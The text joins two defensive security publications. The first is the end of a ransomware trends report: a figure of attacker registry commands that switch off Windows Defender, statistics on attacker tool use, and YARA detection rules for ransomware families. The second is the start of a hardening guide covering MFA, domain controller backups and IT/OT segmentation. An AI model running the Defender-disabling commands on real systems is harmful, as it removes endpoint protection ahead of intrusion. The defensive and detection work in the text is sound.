cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f 

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f 

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f 

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f 

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1"

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

Figure 14: Windows Defender registry key modification

Tool Prevalence

Throughout 2025, we continued to see ransomware actors rely heavily on publicly available tools and legitimate software across various stages of ransomware intrusions. While legitimate software remains popular, we observed a slight decrease in the use of RMM tools and post-exploitation C2 frameworks. Notably, both WinRAR and Rclone were observed in almost one-fourth of incidents, likely corresponding with the increase in incidents involving data theft, given that these tools are regularly used to stage and exfiltrate data respectively.

• Threat actors used post-exploitation C2 frameworks in about 15% of 2025 ransomware incidents, a decrease from almost 20% in 2024. The decline in the use of post-exploitation frameworks is largely due to the continued reduction in use of Cobalt Strike BEACON.

• Cobalt Strike BEACON was deployed in only 2% of 2025 ransomware incidents, continuing a multi-year downward trend; in 2021 roughly 60% of ransomware incidents involved BEACON, dropping to around 38% in 2022, 20% in 2023, and 11% in 2024. This decrease could in part be attributed to some subset of actors exploring new frameworks, like AdaptixC2.

• We observed approximately 8% of intrusions involving the AdaptixC2 (ADAPTAGENT) post-exploitation framework. AdaptixC2 is an open-source post-exploitation framework developed for penetration testers; however, similar to the use of CobaltStrike for many years, threat actors often abuse these types of pentesting tools to facilitate their operations.

• Less frequently, we observed the penetration frameworks associated with MYTHICAGENT, METASPLOIT, HAVOC, and EXPLORATIONC2.

• Extending a trend identified last year, threat actors appear slightly less reliant on remote management tools. Around 24% of 2025 incidents involved at least one RMM, compared to 28% in 2024, and 40% in 2023.

• We observed 10 unique remote management tools in ransomware incidents in 2025 comparable to nine in 2024, but an overall decrease from 13 in 2023.

• We also saw a decrease in instances of threat actors leveraging multiple different RMMs within the same intrusion. In 2025, multiple RMMs were only observed in ~5% of incidents, compared to 8% in 2024, and 16% in 2023.

• Consistent with recent years, AnyDesk remained the most commonly deployed RMM in ransomware incidents in 2025; however, overall use decreased from roughly 31% in 2023 and 16% in 2024 to 10% in 2025.

• Threat actors' use of tunnelers remained fairly consistent as compared to 2024; however, there were small shifts in the use of specific tunnelers. For example, CLOUDFLARED was observed in 8% of incidents in 2025 compared to around 4% in 2024.

• We've observed a negligible decline in the use of SYSTEMBC, with around 14% of incidents involving the tunneler in 2023, a little over 7% in 2024, and down to a little over 6% in 2025. Notably, Operation Endgame disrupted SYSTEMBC infrastructure in May 2024; while the malware is still being sold on forums, it's plausible that the law enforcement disruption dissuaded some threat actors from continuing to use the malware in their operations.

• Throughout 2025, threat actors continued to leverage common publicly available network scanning tools such as Advanced IP Scanner and SoftPerfect Network Scanner in around 50% of intrusions, consistent with the 2024 rate.

• In 2025, we observed an increase in the use of public tools like WinRAR and Rclone that are often used by threat actors to facilitate data theft, which aligns with our overall increase in incidents involving suspected or confirmed data theft from 2024 to 2025. Both WinRAR and Rclone were observed in approximately 23% of incidents; in 2024, we observed around 16% of intrusions involving Rclone and only around 8% involving WinRAR.

Remediation and Hardening

Recommendations to assist in addressing the threat posed by ransomware are captured in our white paper, Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment. 

Outlook and Implications

Despite ongoing turmoil caused by actor conflicts and disruption, ransomware actors remain highly motivated and the extortion ecosystem demonstrates continued resilience. Several indicators suggest the overall profitability of these operations is, however, declining, and at least some threat actors are shifting their targeting calculus away from large companies to instead focus on higher volume attacks against smaller organizations. This is likely due to increased difficulty in successful deployments due to victims' improved security postures, a greater refusal to pay ransom demands, and enhanced recovery capabilities. In the coming years, evolving regulations, including reporting requirements and payment bans, may further dissuade some companies from making ransom payments. While we anticipate ransomware to remain one of the most dominant threats globally, the reduction in profits may cause some threat actors to seek other monetization methods. This could manifest as increased data theft extortion operations, the use of more aggressive extortion tactics, or opportunistically using access to victim environments for secondary monetization mechanisms such as using compromised infrastructure to send phishing messages.

Detections

YARA Rules

AGENDA

rule M_APTFIN_Ransom_AGENDA_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"

	strings:
		$conf1 = "public_rsa_pem" fullword
		$conf2 = "private_rsa_pem" fullword
		$conf3 = "directory_black_list" fullword
		$conf4 = "file_black_list" fullword
		$conf5 = "file_pattern_black_list" fullword
		$conf6 = "process_black_list" fullword
		$conf7 = "win_services_black_list" fullword
		$conf8 = "company_id" fullword
		$conf9 = "note" fullword
		$load_const1 = { 21 B7 F6 F7 }
		$load_const2 = { F6 36 A4 69 }
		$load_s1 = "run_portable_executable" fullword
		$load_s2 = "MemoryLoadLibrary" fullword
		$load_s3 = "_ZN9morph_poc4main"
		$note1 = "Extension: "
		$note2 = "Domain: "
		$note3 = "login: "
		$note4 = "password: "
		$note5 = "Enter credentials-- Credentials"
		$note6 = "-- Qilin"
		$note7 = "-- Recovery"
		$note8 = "www.torproject.org"
		$note9 = ".onion"
		$note10 = "Employees personal data, CVs, DL , SSN."
		$note11 = "%s/%s_RECOVER.txt"
	condition:
		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (7 of ($conf*) or 7 of ($note*) or all of ($load*))
}

AGENDA.RUST

rule M_Hunting_Win_Ransomware_AGENDA_RUST_2_MBeta {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"

	strings:
		$rust = "/rust/"
		$conf1 = "\"public_rsa_pem\":"
		$conf2 = "\"private_rsa_pem\":"
		$conf3 = "\"directory_black_list\":"
		$conf4 = "\"file_black_list\":"
		$conf5 = "\"file_pattern_black_list\":"
		$conf6 = "\"process_black_list\":"
		$conf7 = "\"win_services_black_list\":"
		$conf8 = "\"company_id\":"
		$conf9 = "\"n\":"
		$conf10 = "\"p\":"
		$conf11 = "\"fast\":"
		$conf12 = "\"skip\":"
		$conf13 = "\"step\":"
		$conf14 = "\"accounts\":"
		$conf15 = "\"note\":"
	condition:
		uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550 and filesize < 5MB and (($rust and 8 of ($conf*)) or (13 of ($conf*)))
}

REDBIKE

rule M_Ransom_REDBIKE_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"

	strings:
		$a1 = ".akira"
		$a2 = "akira_readme.txt"
		$a3 = "akiralkzxzq2dsrzsrvbr2xgbbu2wgsmxryd4csgfameg52n7efvr2id"
		$s1 = "--encryption_percent" ascii wide nocase
		$s2 = "--encryption_path" ascii wide nocase
		$s3 = "--share_file" ascii wide nocase
	condition:
		((all of ($s*)) and (any of ($a*))) and (uint16(0) == 0x5A4D) and filesize > 500KB and filesize < 2MB
}

REDBIKE.LINUX

rule M_APTFIN_Ransom_REDBIKE_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"

	strings:
		$a = "akira_readme.txt"
		$b = "save your TIME, MONEY, EFFORTS"
		$c = "akiral2iz6a7qgd3ayp3l6yub7xx2uep76idk3u2kollpj5z3z636bad.onion"
		$d = "--encryption_percent"
		$e = "--encryption_path"
		$f = "--share_file"
	condition:
		all of them and (uint32be(0) == 0x7F454C46)
}

CLOP

rule M_Hunting_CLOP_rol7XorHash32_ConfigHashes_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"

	strings:
		$hex_asm_literal_a = { 92 F7 53 7A }
		$hex_asm_literal_b = { 43 29 79 71 }
		$hex_asm_literal_c = { 2A 81 C4 E2 }
		$hex_asm_literal_d = { 2E F4 FA 7E }
		$hex_asm_literal_e = { 31 E5 7F 91 }
		$hex_asm_literal_f = { 16 24 45 D6 }
		$hex_asm_literal_g = { 56 22 93 EA }
	condition:
		all of them
}

CLOP.LINUX

rule M_Ransom_CLOP_3 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$str_jobmessage_a = "Successfully started daemon-name"
		$str_jobmessage_b = "Could not change working directory to /"
		$str_jobmessage_c = "Could not generate session ID for child process"
		$asm_code_fileordirectory = { 25 00 F0 00 00 3D 00 40 00 00 75 }
		$asm_functioncall_open64_readfile = { 80 01 00 00 C7 44 ( 2? | 6? | A? | E? ) ?? 02 00 00 00 }
		$asm_functioncall_open64_writebytes = { B4 01 00 00 C7 44 ( 2? | 6? | A? | E? ) ?? 42 00 00 00 }
		$asm_encryption_filebuffersize = { 00 E1 F5 05 76 ?? C7 45 ?? 00 E1 F5 05 }
		$asm_encryption_generatekey = { 1F 89 ( C? | D? | E? | F? ) C1 ( C? | D? | E? | F? ) 18 8D ( 0? | 1? ) ( 0? | 1? ) 25 FF 00 [0-2] 29 ( C? | D? | E? | F? ) 83 ( C? | D? | E? | F? ) 01 C9 }
	condition:
		uint32(0) == 0x464C457F and all of ($str_*) or (#asm_code_fileordirectory == 2 and #asm_functioncall_open64_writebytes == 2 and ($asm_encryption_generatekey and $asm_functioncall_open64_readfile and $asm_encryption_filebuffersize))
}

PLAYCRYPT

rule M_Ransomware_PLAYCRYPT_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_created = "2022-12-21"
		date_modified = "2022-12-21"
		rev = "1"
	strings:
		$c1 = { 8A CB 0F B6 D0 8B F2 8B FA D3 EE 8D 4B 01 D3 EF 83 E6 01 83 E7 01 }
		$c2 = { 8D 45 F0 C7 85 D0 FD FF FF 00 00 00 00 50 83 EC 08 }
		$c3 = { 8B 14 0A 8B 4C 32 20 03 D6 89 55 E0 03 CE }
		$c4 = { 8D 8D 80 ?? FF FF E8 C8 ?? FF FF 85 C0 75 61 83 BD [2] FF FF 05 76 58 }
		$c5 = { FF 76 ?? C6 45 EE 00 E8 [2] 00 00 8B F0 8B CF 33 C0 85 F6 0F 48 F0 E8 }
		$c6 = { FF D0 8B F8 83 FF 05 0F [2] 01 00 00 83 FF 06 0F [2] 01 00 00 8B 0E 3B 4E 04 0F [2] 01 00 00 83 FF 04 74 6D 83 FF 01 }
		$s1 = "OpaqueKeyBlob" wide
		$s2 = "AppPolicyGetProcessTerminationMethod"
	condition:
		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize > 100KB and filesize < 200KB and ((2 of ($c*) and all of ($s*)) or (4 of ($c*)))
}

PLAYCRYPT.LINUX

rule G_Ransom_PLAYCRYPT_LINUX_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "First step is done."
		$s2 = "/dev/urandom"
		$s3 = "esxcli storage filesystem list > storage"
		$s4 = "hosts in exclusion:"
		$s5 = "encrypt: "
		$s6 = ".PLAY" fullword
	condition:
		uint32(0) == 0x464C457F and all of them
}

SAFEPAY

import "pe"

rule G_Ransom_SAFEPAY_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$hex_asm_snippet = { 10 27 00 00 [0-4] 10 27 00 00 }
	condition:
		pe.imphash() == "ff67c703589f775db9aed5a03e4489b0" and ($hex_asm_snippet)
}

rule G_Ransom_SAFEPAY_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$code_string_decode = { 8A C2 32 C1 32 44 0D ?? 34 ?? 88 44 0D ?? 41 83 F9 04 [4-64] B? 4D 5A 00 00 }
		$code_hardware_aes_check = { 0F A2 8B F3 5B 89 07 89 77 ?? 89 4F ?? 89 57 [0-12] ( 00 00 00 02 | C1 ?? 19 ) }
		$code_encrypt_file = { 14 00 10 00 [2-24] 14 00 10 00 [2-32] 00 10 00 5? [0-8] FF ( 15 | D? ) }
		$enc_str1 = { C7 45 ?? 67 4B 3D 49 C7 45 ?? 2F 4F 2F 4D }
		$enc_str2 = { C7 45 ?? 10 3C 51 3E C7 45 ?? 5C 38 4F 3A C7 45 ?? 42 34 58 36 C7 45 ?? 43 30 58 32 66 C7 45 ?? 2D 2C }
		$enc_str3 = { C7 45 ?? A3 8F FF 8D C7 45 ?? EF 8B E4 89 C7 45 ?? E0 87 E0 85 C7 45 ?? E7 83 EC 81 C7 45 ?? FB 9F E8 9D C7 45 ?? FF 9B 98 99 }
		$enc_str4 = { C7 45 ?? 44 40 51 47 C7 45 ?? 51 49 10 10 C7 45 ?? 03 48 43 42 C6 45 ?? 29 }
		$enc_str5 = { C7 45 ?? 77 77 73 74 C7 45 ?? 75 6D 64 70 C7 45 ?? 23 68 63 62 C6 45 ?? 09 }
	condition:
		uint16(0) == 0x5a4d and (all of ($code*) or (any of ($code*) and any of ($enc*)) or (2 of ($enc*)))
}

INC

rule M_Ransom_INC_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "[*] Count of arguments: %d" wide
		$s2 = "[-] Failed" wide
		$s3 = "[+] Start" wide
		$s4 = "INC-README" wide
		$s5 = "--debug" wide
		$s6 = "RECYCLE" wide
	condition:
		all of them and (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550)
}

INC (Lynx Branded)

rule M_Ransom_INC_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "[+] Proccess %s with PID: %d was killed succesffully" wide
		$s2 = "[*] Sending note to printer:" wide
		$s3 = "[+] Recycling bin..." wide
		$s4 = "[*] Starting full encryption in 5s" wide
		$s5 = "[+] Successfully decoded readme!" wide
		$s6 = "[-] Failed" wide
		$lynx = "lynx" ascii wide nocase
	condition:
		$lynx and 4 of ($s*) and (uint16(0) == 0x5A4D) and filesize < 300KB and filesize > 50KB
}

INC (Sinobi Branded)

rule G_Ransom_INC_3 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "[+] Proccess %s with PID: %d was killed succesffully" wide
		$s2 = "[*] Sending note to printer:" wide
		$s3 = "[+] Recycling bin..." wide
		$s4 = "[*] Starting full encryption in 5s" wide
		$s5 = "[+] Successfully decoded readme!" wide
		$s6 = "[-] Failed" wide
		$sin = "sinobi" ascii wide nocase
	condition:
		$sin and 4 of ($s*) and (uint16(0) == 0x5A4D) and filesize < 400KB and filesize > 50KB
}

INC.LINUX

rule M_Ransom_INC_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "[*] Count of arguments: %d"
		$s2 = "[-] Failed"
		$s3 = "[+] Start"
		$s4 = "INC-README"
		$s5 = "--debug"
		$s6 = "vmsvc"
	condition:
		all of them and uint32(0) == 0x464c457f
}

RANSOMHUB

rule M_Ransom_RANSOMHUB_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$str1 = "json:\"settings\""
		$str2 = "json:\"extension\""
		$str3 = "json:\"net_spread\""
		$str4 = "json:\"local_disks\""
		$str5 = "json:\"running_one\""
		$str6 = "json:\"self_delete\""
		$str7 = "json:\"white_files\""
		$str8 = "json:\"white_hosts\""
		$str9 = "json:\"credentials\""
		$str10 = "json:\"kill_services\""
		$str11 = "json:\"set_wallpaper\""
		$str12 = "json:\"white_folders\""
		$str13 = "json:\"note_file_name\""
		$str14 = "json:\"note_full_text\""
		$str15 = "json:\"kill_processes\""
		$str16 = "json:\"network_shares\""
		$str17 = "json:\"note_short_text\""
		$str18 = "json:\"master_public_key\""
	condition:
		14 of them
}

FURYSTORM

rule G_Ransom_FURYSTORM_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "Whitelist VM id"
		$s2 = "gwfn6l3bk45o2zecvi7xtyqrpsudmahj"
		$s3 = "Dry-run"
		$s4 = "-paths"
		$s5 = "-vmsvc"
		$s6 = "Note: motd=%d login=%d clean=%d"
		$s7 = "Cryptor args"
		$s8 = "VMX found"
		$s9 = "Keys: %016l"
		$s10 = "vim-cmd"
		$s11 = "Dropping readme"
		$s12 = "Encryption params"
	condition:
		uint32(0) == 0x464c457f and filesize > 50KB and filesize < 700KB and 6 of them
}

rule G_Ransom_FURYSTORM_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "Failed decrypt file:"
		$s2 = "Decryptor args:"
		$s3 = "Private key loaded"
		$s4 = "Keys: %016l"
		$s5 = "Dry-run"
		$s6 = "Encryption params"
		$s7 = "Whitelist paths"
		$s8 = "Note: motd=%d"
	condition:
		uint32(0) == 0x464c457f and filesize > 50KB and filesize < 300KB and 6 of them
}

FIREFLAME

rule M_Autopatt_Ransom_FIREFLAME_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$p00_0 = { 8B CE 8D 5F ?? 8A 01 8D 49 ?? 0F B6 C0 83 E8 ?? 8D 04 40 C1 E0 ?? 99 }
		$p00_1 = { 55 8B EC FF 75 ?? E8 [4] 59 8B 4D ?? 89 01 F7 D8 1B C0 }
	condition:
		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (($p00_0 in (0 .. 380000) and $p00_1 in (260000 .. 280000)))
}

Acknowledgements

This analysis would not have been possible without the assistance of Dima Lenz, Chastine Altares, Ana Foreman, and the Advanced Practices, Mandiant Consulting, and FLARE teams.

Written by: Matthew McWhirt, Bhavesh Dhake, Emilio Oropeza, Gautam Krishnan, Stuart Carrera, Greg Blaum, Michael Rudden

UPDATE (March 13): Added guidance around abuse or misuse of endpoint / MDM platforms.

Background

Threat actors leverage destructive malware to destroy data, eliminate evidence of malicious activity, or manipulate systems in a way that renders them inoperable. Destructive cyberattacks can be a powerful means to achieve strategic or tactical objectives; however, the risk of reprisal is likely to limit the frequency of use to very select incidents. Destructive cyberattacks can include destructive malware, wipers, or modified ransomware.

When conflict erupts, cyber attacks are an inexpensive and easily deployable weapon. It should come as no surprise that instability leads to increases in attacks. This blog post provides proactive recommendations for organizations to prioritize for protecting against a destructive attack within an environment. The recommendations include practical and scalable methods that can help protect organizations from not only destructive attacks, but potential incidents where a threat actor is attempting to perform reconnaissance, escalate privileges, laterally move, maintain access, and achieve their mission. 

The detection opportunities outlined in this blog post are meant to act as supplementary monitoring to existing security tools. Organizations should leverage endpoint and network security tools as additional preventative and detective measures. These tools use a broad spectrum of detective capabilities, including signatures and heuristics, to detect malicious activity with a reasonable degree of fidelity. The custom detection opportunities referenced in this blog post are correlated to specific threat actor behavior and are meant to trigger anomalous activity that is identified by its divergence from normal patterns. Effective monitoring is dependent on a thorough understanding of an organization's unique environment and usage of pre-established baselines.

Organizational Resilience

While the core focus of this blog post is aligned to technical- and tactical-focused security controls, technical preparation and recovery are not the only strategies. Organizations that include crisis preparation and orchestration as key components of security governance can naturally adopt a "living" resilience posture. This includes:

• Out-of-Band Incident Command and Communication: Establish a pre-validated, "out-of-band" communication platform that is completely decoupled from the corporate identity plane. This ensures that the key stakeholders and third-party support teams can coordinate and communicate securely, even if the primary communication platform is unavailable.

• Defined Operational Contingency and Recovery Plans: Establish baseline operational requirements, including manual procedures for vital business functions to ensure continuity during restoration or rebuild efforts. Organizations must also develop prioritized application recovery sequences and map the essential dependencies needed to establish a secure foundation for recovery goals.

• Pre-Establish Trusted Third-Party Vendor Relationships: Based on the range of technologies and platforms vital to business operations, develop predefined agreements with external partners to ensure access to specialists for legal / contractual requirements, incident response, remediation, recovery, and ransomware negotiations.

• Practice and Refine the Recovery: Conduct exercises that validate the end-to-end restoration of mission-critical services using isolated, immutable backups and out-of-band communication channels, ensuring that recovery timelines (RTO) and data integrity (RPO) are tested, practiced, and current. 

Google Security Operations

Google Security Operations (SecOps) customers have access to these broad category rules and more under the Mandiant Intel Emerging Threats, Mandiant Frontline Threats, Mandiant Hunting Rules, CDIR SCC Enhanced Data Destruction Alerts rule packs. The activity discussed in the blog post is detected in Google SecOps under the rule names:

• BABYWIPER File Erasure

• Secure Evidence Destruction And Cleanup Commands

• CMD Launching Application Self Delete

• Copy Binary From Downloads

• Rundll32 Execution Of Dll Function Name Containing Special Character

• Services Launching Cmd

• System Process Execution Via Scheduled Task

• Dllhost Masquerading

• Backdoor Writing Dll To Disk For Injection

• Multiple Exclusions Added To Windows Defender In Single Command

• Path Exclusion Added to Windows Defender

• Registry Change to CurrentControlSet Services

• Powershell Set Content Value Of 0

• Overwrite Disk Using DD Utility

• Bcdedit Modifications Via Command

• Disabling Crash Dump For Drive Wiping

• Suspicious Wbadmin Commands

• Fsutil File Zero Out

Recommendations Summary

Table 1 provides a high-level overview of guidance in this blog post.

1. External-Facing Assets

Identify, Enumerate, and Harden

To protect against a threat actor exploiting vulnerabilities or misconfigurations via an external-facing vector, organizations must determine the scope of applications and organization-managed services that are externally accessible. Externally accessible applications and services (including both on-premises and cloud) are often targeted by threat actors for initial access by exploiting known vulnerabilities, brute-forcing common or default credentials, or authenticating using valid credentials. 

To proactively identify and validate external-facing applications and services, consider:

• Leveraging a vulnerability scanning technology to identify assets and associated vulnerabilities. 

• Performing a focused vulnerability assessment or penetration test with the goal of identifying external-facing vectors that could be leveraged for authentication and access.

• Verifying with technology vendors if the products leveraged by an organization for external-facing services require patches or updates to mitigate known vulnerabilities. 

Any identified vulnerabilities should not only be patched and hardened, but the identified technology platforms should also be reviewed to ensure that evidence of suspicious activity or technology/device modifications have not already occurred.

The following table provides an overview of capabilities to proactively review and identify external-facing assets and resources within common cloud-based infrastructures.

Enforce Multi-Factor Authentication

External-facing assets that leverage single-factor authentication (SFA) are highly susceptible to brute-forcing attacks, password spraying, or unauthorized remote access using valid (stolen) credentials. External-facing applications and services that currently allow for SFA should be configured to support multi-factor authentication (MFA). Additionally, MFA should be leveraged for accessing not only on-premises external-facing managed infrastructure, but also for cloud-based resources (e.g., software-as-a-service [SaaS] such as Microsoft 365 [M365]). 

When configuring multifactor authentication, the following methods are commonly considered (and ranked from most to least secure):

• Fast IDentity Online 2 (FIDO2)/WebAuthn security keys or passkeys

• Software/hardware Open Authentication (OAUTH) token

• Authenticator application (e.g., Duo/Microsoft [MS] Authenticator/Okta Verify)

• Time-based One Time Password (TOTP)

• Push notification (least preferred option) using number matching when possible

• Phone call

• Short Message Service (SMS) verification

• Email-based verification

Risks of Specific MFA Methods

Push Notifications

If an organization is leveraging push notifications for MFA (e.g., a notification that requires acceptance via an application or automated call to a mobile device), threat actors can exploit this type of MFA configuration for attempted access, as a user may inadvertently accept a push notification on their device without the context of where the authentication was initiated. 

Phone/SMS Verification

If an organization is leveraging phone calls or SMS-based verification for MFA, these methods are not encrypted and are susceptible to potentially being intercepted by a threat actor. These methods are also vulnerable if a threat actor is able to transfer an employee's phone number to an attacker-controlled subscriber identification module (SIM) card. This would result in the MFA notifications being routed to the threat actor instead of the intended employee. 

Email-Based Verification

If an organization is leveraging email-based verification for validating access or for retrieving MFA codes, and a threat actor has already established the ability to access the email of their target, the actor could potentially also retrieve the email(s) to validate and complete the MFA process. 

If any of these MFA methods are leveraged, consider:

• Training remote users to never accept or respond to a logon notification when they are not actively attempting to log in.

• Establishing a method for users to report suspicious MFA notifications, as this could be indicative of a compromised account.

• Ensuring there are messaging policies in place to prevent the auto-forwarding of email messages outside the organization.

Time-Based One-Time Password

Time-based one-time password (TOTP) relies on a shared secret, called a seed, known by both the authenticating system and the authenticator possessed by an end user. If a seed is compromised, the TOTP authenticator can be duplicated and used by a threat actor.

Detection Opportunities for External-Facing Assets and MFA Attempts

2. Critical Asset Protections

Domain Controller and Critical Asset Backups

Organizations should verify that backups for domain controllers and critical assets are available and protected against unauthorized access or modification. Backup processes and procedures should be exercised on a continual basis. Backups should be protected and stored within secured enclaves that include both network and identity segmentation. 

If an organization's Active Directory (AD) were to become corrupted or unavailable due to ransomware or a potentially destructive attack, restoring Active Directory from domain controller backups may be the only viable option to reconstitute domain services. The following domain controller recovery and reconstitution best practices should be proactively reviewed by organizations: 

• Verify that there is a known good backup of domain controllers and SYSVOL shares (e.g., from a domain controller – backup C:\Windows\SYSVOL).

  • For domain controllers, a system state backup is preferred. 
    
    Note: For a system state backup to occur, Windows Server Backup must be installed as a feature on a domain controller.

  • The following command can be run from an elevated command prompt to initiate a system state backup of a domain controller.

wbadmin start systemstatebackup -backuptarget:<targetDrive>:

Figure 1: Command to perform a system state backup

• • The following command can be run from an elevated command prompt to perform a SYSVOL backup. (Manage auditing and security log permissions must also be configured for the account performing the backup.)

robocopy c:\windows\sysvol c:\sysvol-backup /copyall /mir /b /r:0 /xd

Figure 2: Command to perform a SYSVOL backup

• Proactively identify domain controllers that hold flexible single master operation (FSMO) roles, as these domain controllers will need to be prioritized for recovery in the event that a full domain restoration is required. 

netdom query fsmo

Figure 3: Command to identify domain controllers that hold FSMO roles

• Offline backups: Ensure offline domain controller backups are secured and stored separately from online backups. 

• Encryption: Backup data should be encrypted both during transit (over the wire) and when at rest or mirrored for offsite storage. 

• DSRM Password validation: Ensure that the Directory Services Restore Mode (DSRM) password is set to a known value for each domain controller. This password is required when performing an authoritative or nonauthoritative domain controller restoration. 

• Configure alerting for backup operations: Backup products and technologies should be configured to detect and provide alerting for operations critical to the availability and integrity of backup data (e.g., deletion of backup data, purging of backup metadata, restoration events, media errors). 

• Enforce role-based access control (RBAC): Access to backup media and the applications that govern and manage data backups should use RBAC to restrict the scope of accounts that have access to the stored data and configuration parameters. 

• Testing and verification: Both authoritative and nonauthoritative domain controller restoration processes should be documented and tested on a regular basis. The same testing and verification processes should be enforced for critical assets and data.

Business Continuity Planning

Critical asset recovery is dependent upon in-depth planning and preparation, which is often included within an organization's business continuity plan (BCP). Planning and recovery preparation should include the following core competencies:

• A well-defined understanding of crown jewels data and supporting applications that align to backup, failover, and restoration tasks that prioritize mission-critical business operations

• Clearly defined asset prioritization and recovery sequencing

• Thoroughly documented recovery processes for critical systems and data

• Trained personnel to support recovery efforts

• Validation of recovery processes to ensure successful execution

• Clear delineation of responsibility for managing and verifying data and application backups

• Online and offline data backup retention policies, including initiation, frequency, verification, and testing (for both on-premises and cloud-based data)

• Established service-level agreements (SLAs) with vendors to prioritize application and infrastructure-focused support

Continuity and recovery planning can become stale over time, and processes are often not updated to reflect environment and personnel changes. Prioritizing evaluations, continuous training, and recovery validation exercises will enable an organization to be better prepared in the event of a disaster.

Detection Opportunities for Backups

IT and OT Segmentation

Organizations should ensure that there is both physical and logical segmentation between corporate information technology (IT) domains, identities, networks, and assets and those used in direct support of operational technology (OT) processes and control. By enforcing IT and OT segmentation, organizations can inhibit a threat actor's ability to pivot from corporate environments to mission-critical OT assets using compromised accounts and existing network access paths. 

OT environments should leverage separate identity stores (e.g., dedicated Active Directory domains), which are not trusted or cross-used in support of corporate identity and authentication. The compromise of a corporate identity or asset should not result in a threat actor's ability to directly pivot to accessing an asset that has the ability to influence an OT process.

In addition to separate AD forests being leveraged for IT and OT, segmentation should also include technologies that may have a dual use in the IT and OT environments (backup servers, antivirus [AV], endpoint detection and response [EDR], jump servers, storage, virtual network infrastructure). OT segmentation should be designed such that if there is a disruption in the corporate (IT) environment, the OT process can safely function independently, without a direct dependency (account, asset, network pathway) with the corporate infrastructure. For any dependencies that cannot be readily segmented, organizations should identify potential short-term processes or manual controls to ensure that the OT environment can be effectively isolated if evidence of an IT (corporate)-focused incident were detected. 

Segmenting IT and OT environments is a best practice recommended by industry standards such as the National Institute of Standards and Technology (NIST) SP 800-82r3: Guide to Operational Technology (OT) Security and IEC 62443 (formerly ISA99).

According to these best-practice standards, segmenting IT and OT networks should include the following:

• OT attack surface reduction by restricting the scope of ports, services, and protocols that are directly accessible within the OT network from the corporate (IT) network.

• Incoming access from corporate (IT) into OT must terminate within a segmented OT demilitarized zone (DMZ). The OT DMZ must require that a separate level of authentication and access be granted (outside of leveraging an account or endpoint that resides within the corporate IT domain). 

• Explicit firewall rules should restrict both incoming traffic from the corporate environment and outgoing traffic from the OT environment.

• Firewalls should be configured using the principle of deny by default, with only approved and authorized traffic flows permitted. Egress (internet) traffic flows for all assets that support OT should also follow the deny-by-default model.

• Identity (account) segmentation must be enforced between corporate IT and OT. An account or endpoint within either environment should not have any permissions or access rights assigned outside of the respective environment. 

• Remote access to the OT environment should not leverage similar accounts that have remote access permissions assigned within the corporate IT environment. MFA using separate credentials should be enforced for remotely accessing OT assets and resources.

• Training and verification of manual control processes, including isolation and reliability verification for safety systems.

• Secured enclaves for storing backups, programming logic, and logistical diagrams for systems and devices that comprise the OT infrastructure.

• The default usernames and passwords associated with OT devices should always be changed from the default vendor configuration(s).